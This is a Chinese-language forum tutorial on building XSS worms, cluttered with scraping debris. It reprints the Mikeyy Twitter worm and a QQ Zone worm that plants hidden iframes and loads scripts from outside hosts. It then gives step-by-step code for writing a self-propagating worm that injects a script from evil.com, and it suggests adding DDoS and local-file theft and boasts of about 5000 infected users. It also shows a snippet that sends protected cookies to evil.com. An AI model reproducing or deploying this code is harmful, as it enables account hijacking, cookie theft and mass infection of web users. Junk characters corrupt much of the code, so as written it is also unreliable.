复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
# F3 P1 I5 }% `. T# k/ s
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
2 z2 A5 L/ z0 h) a2 L: t
: j. ^: E& y. Z
4 T) }- y  |) l3 J9 C
7 k, \* A" r! l. v8 k1 }XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
, }9 L8 v+ s* l7 Q) s, F+ U
<script>
% W1 ^7 ^" T3 u/ k- i复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
4 M5 \1 q% y7 w. c# a2 l" Z5 n复制代码案例:Twitter 蠕蟲五度發威
第一版:
2 W' x& o8 R6 M; D: [  下载 (5.1 KB)
* r  Y0 \2 w( ~0 g, y6 f; P
6 天前 08:27
  ]5 E2 s4 x) j- k+ z1 J
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
+ P6 x2 z2 h3 b/ E
   2.   

2 V0 @  l/ h' E+ f   3. function XHConn(){  
6 B2 Q" [' [6 z) ]- G: b7 Z* ]" X* h
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

0 s/ R0 A( Z& h0 _  r& Y* f, k% Z   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
# ?. {/ ~: S9 }1 U
" C, T7 ^) J( Z1 c9 i   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
& B3 b- L+ ], S  M复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

, V  }# y# `6 x  C   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
3 X; ^( i4 ~' [. n* m6 `; m% D
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
: W6 A2 ]& G8 v% I. A! t" |* Z
   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

/ B+ ], x6 R: N   8.   var randomUpdate= new Array();  
% p0 T& J! m& O$ P' n
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
" Q" K0 b3 g9 e5 b$ O
: A* u2 s+ W4 K2 X% G  A  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

- C  S7 u# L- \( j; g: t  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

9 {$ \5 c- J( e: s! p  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
# C/ x9 a3 b! [
/ N' J4 s7 T$ B  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

( ]) L+ s' [% |" [* @& t; X! u/ `  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

0 R4 P( _1 J1 F0 }/ D  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
9 ]$ p1 f( q7 B" n; V: N# b! q: h; B
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
5 S1 M( s6 P6 z
, i, F6 Y+ e9 m  O; m- r  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
/ ^7 i/ i, P: x9 k, V" ]% M
0 I' E) d0 i( t  z  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

4 m- W! ~" v1 S, P  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
9 f+ @$ a" r& H3 a
! M/ m! r; ~/ P1 E  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
1 p. J# B* L$ J2 ?- o# v: ]
* m& M+ \: T1 S7 _  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

9 P5 Q1 R, H, D4 h  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
8 W1 V3 N( Z0 g4 N9 Y
  24.     

+ E( K( |: [8 L  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
5 t; e+ `' I" W8 Y. D) ]
  27.     

  28.   var ajaxConn= new XHConn();  
3 j, ~5 V# Q" i! G, e2 X0 P
9 t' q# [% ~; {7 Q  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

9 C  P; \7 \$ I% r( S( d/ G. z  30.   var _0xf81bx1c="Mikeyy";  
7 x# f+ z$ i4 R# m3 v: b5 q' S
  31.   var updateEncode=urlencode(_0xf81bx1c);  

8 o, f9 Q8 T$ I' O/ e2 r) }9 L  32.   var ajaxConn1= new XHConn();  
; ]! \! q1 V! B8 N7 K
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

' q3 J8 X! h) C2 g  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
2 ^. s( ~" ]' c! d
/ g( B/ [8 t  k5 A3 _: m9 I) ~  35.   var XSS=urlencode(genXSS);  
2 b  p( g2 q9 a$ `/ V  A' R
  36.   var ajaxConn2= new XHConn();  

) _% C% _! @9 ?+ k) G  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
! O+ j6 K' V7 r+ e8 ]
  38.     
2 `/ p: s8 k; K9 l' j% d& E: K( s+ ~
  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
9 m) r5 N! C) N" r: W


var shendu;shendu=4;
' g6 R( F) \. X. E2 _5 u! d  _- i
) _' e$ f+ l. X  d//---------------global---v------------------------------------------
& N4 O6 d! U8 c! [* T7 B# G+ V
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

& m& g( W  g2 t% j8 t+ K$ W5 yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
. g6 ?6 k+ w3 r/ L% S7 Y
        var gurl=document.location.href;
+ L- @( W4 u8 H- w5 v" n
. ^6 h  b- Q& |! ?/ r6 |% j$ U        var gurle=gurl.indexOf("com/");
  w! x9 g2 O1 I. _# s. d6 N
. L& ^5 O  e5 P- U' U! ^        gurl=gurl.substring(0,gurle+3);        
% Z$ @, c& E$ F. S) n2 V7 Z- d
$ e5 l# u! ?6 R( x9 t5 G4 E0 }        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
/ [/ W6 k- W. k9 G9 R
        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
1 P' c' L8 E. o6 U0 t3 Z, W4 w) ~" i
        visitorID=visitorID.substring(0,cookieS);
' l/ s6 g% M- J* {& _
4 {) H  {( b! [; c+ H- N        get_my_blog(visitorID);

4 T8 X8 ^% O4 C. K$ u        DOshuamy();
% A+ A  L; S+ x" ?3 m! B/ z
/ ^, p1 t3 c* T  ?. _

6 E5 f7 z2 Y0 {- |& T% z//挂马
) d+ M# a  O! t
3 \( }% V+ c( @' r' tfunction DOshuamy(){

8 b3 X3 E( R! u' L+ wvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
2 E( F* \) Q! \9 V
}
, C# z# x  C2 d
- r7 q0 q, [) r/ a1 V! F4 g  ^
, F2 I/ A. M% G1 \1 o, `. d
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
2 m0 H  `+ `  L, |4 q
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
$ O- }% W& b( \3 q% h: w2 r
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

- ]/ B7 {" k7 S8 \  ^. E* U; h. O& T  @   if(xhr){    //成功就执行下面的
( ]: |( V3 r4 O) |$ h
7 J6 x9 P' G" c$ V: L0 |6 |     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

& n4 r# A% l4 M3 d0 u     xhr.send();guest=xhr.responseText;

% Q  \* O' v/ a5 h% x! D" }6 P  y% S     get_my_blogurl(guest);    //执行这个函数

% t" d! v7 t( B: F    }

}
' ^/ w% l, [0 C; C) H

1 k9 c" U: M$ Q3 F" ^  {* m
//这里似乎是判断没有登录的

function get_my_blogurl(guest){
5 _0 l* F2 p0 n3 O& W7 I- @- V
& E% A3 Y, T5 I3 Z! J- m" i% M0 \  var mybloglist=guest;

  var myurls;var blogids;var blogide;
* P9 Y% F2 f  I- c/ c
2 a$ W0 f( m+ \  r; |' ~  for(i=0;i<shendu;i++){
3 \% X8 Z' w. C- @* s$ D
8 r$ `6 W6 o$ m7 U     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
. m' H3 ^1 u/ e% R
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
2 A. s3 R: |9 l) j2 C
4 ?3 h! M* a  Z! L  `         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

* w. V% Q. y0 X3 `        }else{break;}
- j- {2 k) W4 o/ o) k- b
}

get_my_testself();    //执行这个函数
& }2 q- \. Z0 K* e
+ r! ^$ o' I) ]4 F7 F. [}

( E! G5 {7 z6 a& B7 ~4 {

$ T2 l/ M+ J- l0 H& h//这里往哪跳就不知道了
' A0 |- f2 `" M$ o1 H  Y
& g  n) R) @/ [4 L, Afunction get_my_testself(){
; B9 K, m0 O  a
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
$ }9 i6 S3 w8 g" R0 N
2 q4 }; w0 I" a: V7 {      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

/ O6 Y1 r. f' R! v5 ~4 J1 r      if(xhr2){        //如果成功

% C4 |( w7 m3 ?+ S9 s/ i8 r              xhr2.open("GET",url,false);     //打开上面的那个url
: ^0 [6 Z2 o% Y$ Q! g5 _
; ~: P0 U* {( N" [8 S              xhr2.send();
9 n( @8 B# I5 o) D
/ D8 j! ~* [8 Z              guest2=xhr2.responseText;

% H# S" t6 X0 t* w! l1 A4 I# F              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
7 }( |# A  U) y, ^9 q6 z
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
0 L0 a  K2 U) E
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
* p! f* V0 V% I- v) w* y
                targetblogurlid=myblogid;   

5 G; W& c/ e  U+ i# |0 A2 q1 I                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
  c& r8 X: N4 P- X; f+ q
                break;

               }
1 m3 r% o; h; S
              if(mycheckit=="-1"){
! `- b& M) n. {. Q" c
                targetblogurlid=myblogid;
6 j! l$ G1 V3 Q* g: x
                add_js(visitorID,targetblogurlid,gurl);    //执行它
7 @" E% f& e; p/ n& p/ L, I9 h7 E
                break;
* q2 Z6 _% n+ f) Z4 E
' j1 n- d/ J. c( h  L               }
0 {& e  z* v, z
4 e) w$ A& k. b% o! d$ T4 K. o        }      

}

}



//--------------------------------------  

; K! t# i( ]& ~5 y//根据浏览器创建一个XMLHttpRequest对象
' F; ~( s8 t1 M3 g
8 Q9 c: p# O* w. f$ ?* I8 Tfunction createXMLHttpRequest(){
( Z" }3 b3 n/ J( S" h+ O% Z
    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
, \6 F' K, M+ e9 R9 F
0 o3 A! Y1 d, w" g5 c5 X    else  
' I0 G) E/ b# `( G( v$ s8 C- R/ A, p
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
  R" \5 S4 m/ j1 w. y4 m
+ @) @( A- K. ^! m3 o0 s1 t4 {        for(var i=0;i<MSXML.length;i++)  
$ B+ c4 U- d) [7 B" I2 ~- t) l4 f
        {  

6 w# [# D$ r) q, `5 m9 s            try  

            {  
$ [* b; o4 b/ L; w: i0 f% _
; E. ]2 l* }0 Y: m; p) G0 G                XMLhttpObject=new ActiveXObject(MSXML);  

7 \4 E+ z( r9 X# t4 ^; E6 W! i: z                break;  

            }  

+ m- g, }0 _* n. N            catch (ex) {  

$ S$ f, u% M7 M6 @* j; Y            }  
9 ?; }/ X6 N+ F1 G
! y* d6 E* Y  u+ H         }  

      }
$ G9 f+ @$ Y  F' m) `  `+ q
2 X/ w. s: {& @1 ~' freturn XMLhttpObject;

}  
7 Y) M9 w) S$ Y- n& z, _* H" @* h7 i6 v


  k" E" B/ \( J* ~3 q//这里就是感染部分了
0 R- f' O* a! E
+ P- g9 x0 a, Z; S2 h3 |, gfunction add_js(visitorID,targetblogurlid,gurl){
! E. Z  u4 U8 v/ w5 u1 ]
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
: X8 `5 v' i4 r: N& h, |% k2 N$ r8 l' W6 j
) Y2 V- J( B2 S+ w" ]s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
2 H9 l7 b, j  t& N- |5 I2 l' q
' ?  o2 L7 |; |. c/ G* W( B}



3 k: n# Y; R# Z$ f# o# ?function add_jsdel(visitorID,targetblogurlid,gurl){
9 S7 L& K% L  V
8 V  j1 Z( B# k! Pvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

" r( M0 u+ ^: @4 a* D# e: ps2.type='text/javascript';

2 z' a) R) \0 h& G2 O2 j. A0 b* Adocument.getElementsByTagName('head').item(0).appendChild(s2);
1 B8 j' ^4 H4 P3 z! ]
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
% g' w4 O# u) M, B1 Q1 g! N$ g: Y
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

/ ]0 o. t3 U3 \; g* \' p) {综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

6 c8 s! c" a4 M( `+ h. M8 }4 i
# H9 ?7 f( _) T6 |7 o# G6 l下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

2 i% ^  H) R1 o3 q% g$ D首先,自然是判断不同浏览器,创建不同的对象var request = false;

8 J* m% \; `" k6 gif(window.XMLHttpRequest) {

' K( h! k7 q7 g4 F4 ~6 |8 }( erequest = new XMLHttpRequest();
% `6 q: _: b: e! z8 V+ _! F- o- r
if(request.overrideMimeType) {
, ~3 {6 Y, d1 h, K) K  f6 c, s
- r9 O$ c- D& M$ I# w' Vrequest.overrideMimeType('text/xml');
  [/ z8 F. {/ q" ~3 ?8 p0 |, a
2 t$ X% N" h5 \' m  }}

} else if(window.ActiveXObject) {
8 H  \, u% H: v/ Y
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! J! {+ Y% i6 x2 D3 C
/ C) l" [) F6 H; W* c1 hfor(var i=0; i<versions.length; i++) {

try {
1 d5 M! v4 z! O8 _$ t0 ^5 i0 m
7 o/ t) G+ R* Y2 frequest = new ActiveXObject(versions);
3 X  S' I8 V' A+ q0 [4 B4 F
} catch(e) {}
1 J9 A2 a" d9 z& B* l: k/ m
! b! j5 V1 j/ t' P3 K: ~}

}
. U. l) \" `) P9 c
4 U; a! y+ }( ~; X/ ?xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

2 Z' z& f( ?1 ?9 k3 ]. _        var Browser_Name=navigator.appName;
& C2 m/ U& t: Q3 Z
* B: w3 P9 `$ }        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;

        
7 D5 R# F% b, `! D( B
        var Actual_Version,Actual_Name;

# J! n* [& ]/ ?2 @! T8 \: T        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");
# S) F- }: D% R( \
! a% Q" g# U" X0 l6 C/ R+ J        var is_Ch=(Browser_Name=="Chrome");
* \4 r, ~1 ]9 k
" d8 ]6 u4 J$ }4 k( J- f6 W6 q        
9 @6 B4 o4 Y$ }9 m- c
/ c2 ?+ o2 }8 g# s9 D3 A: f        if(is_NN){
; h5 _' C8 c5 ~- `4 y1 @' K
) v% R2 F) ]3 V. [9 i# _            if(Browser_Version>=5.0){

4 x3 h- T/ T% H                var Split_Sign=Browser_Agent.lastIndexOf("/");

" l1 o9 z, A% Q& w) a& o3 D& w                var Version=Browser_Agent.indexOf(" ",Split_Sign);

5 y' O* p; `+ T, \! C1 i                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
' p( j8 {& [6 k3 _7 Q. D

0 ]% ^. R. I/ R$ Z- |6 M
* K' |& T9 W# C  N6 k" v( V                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

1 M8 z( d- `/ |  h# t$ B! L6 p; }5 O                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

            else{

                Actual_Version=Browser_Version;
& @* ^2 y* k. F6 L) X! y9 u
: m' v7 J( [( f7 C                Actual_Name=Browser_Name;
) F+ B4 t7 y2 M/ i+ ^7 x7 V' n7 j
            }

        }

6 E& [( z; J- ^- J: G, N        else if(is_IE){
4 O; E, i0 s, {$ `5 b8 K% ^* t! @
4 y* W3 A9 e9 {  g! W! l            var Version_Start=Browser_Agent.indexOf("MSIE");
1 L: x7 w1 E5 @  ]- S
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ a( `) i& ?( }+ @
0 A+ Z* L, d/ G9 k            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ {* R# G2 M' V, J7 e( E
            Actual_Name=Browser_Name;
" K1 i) Y3 h' E" ?
2 ]2 `! w' y& H3 I8 q! U7 y            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
3 @/ J! W0 j" r& m! e7 D
                Actual_Name+="(Maxthon)";
( V! `2 e8 }' F$ A, ^  z# y
            }
/ w. K5 Q; I4 U1 s/ w
            else if(Browser_Agent.indexOf("Opera")!=-1){

$ s7 L, }# p5 u# h                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
  k; D6 [# Z% ]) e2 L
* P3 d) v& V' K! m: l+ j0 I' M: v                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
/ w& Q0 f* }  f. F9 E: I* k# c
, Y% O, ^7 p1 V  b1 I* k' N% ?        }
$ y" `. Q' ?6 r9 j" B5 M" x8 T
. @" b" K2 {* \5 c) n        else if(is_Ch){
# t& x" t- z& G3 G0 [
            var Version_Start=Browser_Agent.indexOf("Chrome");
8 V- F. {) j9 s9 y3 C0 I* r8 c1 c
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
* X- k9 p' F4 P7 B4 K0 ]/ P' c
* l5 s6 r5 d* V4 E/ U4 i2 t8 ^2 v            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

$ Z2 _/ R5 k6 L9 @            
6 C! h! D: Z7 y0 H( U$ Y
0 B+ ?; i1 ?& F& `            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
! D" V* \& |  C" b# l
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
+ N  f5 m9 A' }8 R
1 @2 t4 d. ]; e; b7 g                Actual_Name="Opera";

8 a! z* _- |1 N0 x6 j                var tempstart=Browser_Agent.indexOf("Opera");
6 e$ V$ [8 N3 P! j& I& o
" d* _! e* [  D! i                var tempend=Browser_Agent.length;
- R$ u0 _& ^' d" s( U
9 F- J, C3 Q' |; z( F9 V                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
0 ?) |* T6 V7 E
        }
/ P6 N9 I) j, w) W5 o
        else{
$ G$ x) [; H4 D- [. [% {2 r& [7 i
            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"
8 n  \6 M0 D/ C/ r8 T2 i6 E
        }



% N, N9 `/ X& a, s% q4 X        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

        

        this.Name=Actual_Name;
0 M% g* m+ l% i0 \+ }
) U7 Z# i0 ?9 d* u  @: F  ^        this.Version=Actual_Version;

2 Q8 C7 v6 ?' r0 l- T6 K! N    }
' o- @' L: l/ H% m& W* r: j" H
    browserinfo();
9 y; e- h4 r4 y6 T
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
2 z. v( D: C7 x# ]7 c; r/ s
' S3 Z3 v9 ]8 E( o# v3 N    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

8 k: _* y- o+ V% I) f$ r1 i( X    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
; m" b8 Q; v( ^; e9 K( W复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
8 L1 y  z; G+ s  y1 p" X" w复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
1 a: @5 ~" ?- ]- e& Z1 ]复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
0 N. S; p, D9 @, U- U1 N5 e% u
3 S+ ?# R- M4 r' M8 u) S' _0 K: Qvar resource = xmlHttpReq.responseText;
4 M- j6 ^: E7 a, o! R
var id=0;var result;
3 ~4 c1 f# q0 V; V5 p  l" u: t
% w( A$ p* ~% B8 F" avar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
/ u# _$ n) M# Y4 p
while ((result = patt.exec(resource)) != null)  {

" z& v) d5 E( k2 p$ gid++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
. k! a  X6 F3 q9 g9 T0 J
no=resource.search(/my name is/);
: }! X8 {% C. q, b/ I3 H+ U$ I' H
) y% T7 g% W; \# ], M. M( F  D/ U# E% avar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

5 ]+ u8 n9 `, Cvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

8 i) T3 B7 u6 c% E: jxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
/ j' w" @; w# \3 Y- `
xmlHttpReq.send(post);

! t+ m+ e8 W  g* H# z}
9 }1 x$ X& L& S3 H复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

3 y7 x  [5 N6 C$ Ivar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

! X. V/ o7 F- p7 K1 }var post="wd="+wd;
, ~& l% J+ x/ l. k- \; }
, m1 k, {- f0 E& Q" ~) qxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
, U5 n, U' p( S1 G# |4 A1 p
$ O: z5 c8 q' ~$ axmlHttpReq.setRequestHeader("content-length",post.length);

0 m7 f+ X2 j* B5 g. M2 J/ D) ExmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
! \; A1 c0 @) b& H3 n# w0 Z: M: b
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
: I- Q9 w- p1 o/ X! ~1 i
' r! x7 z- E3 A* q3 ?) D1 M0 e}
* d* `' y- c; r3 _复制代码-----------------------------------------------------总结-------------------------------------------------------------------
3 f0 G+ g8 A4 O
1 P: Y( O1 F% x! p& o, x

  |6 X7 Q$ U& t9 B# q* B' s0 G本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 z$ v4 j* d  i5 ^& Z- e3 e6 j蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.



4 a, S7 }, A) S0 o/ z




本文引用文档资料:
/ E+ t/ C# c$ ]- _! Z1 }
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
5 L1 y% Z( j" T, R$ }. M7 G空虚浪子心BLOG http://www.inbreak.net
  n' d- o4 ~' X; W, K7 BXeye Team http://xeye.us/
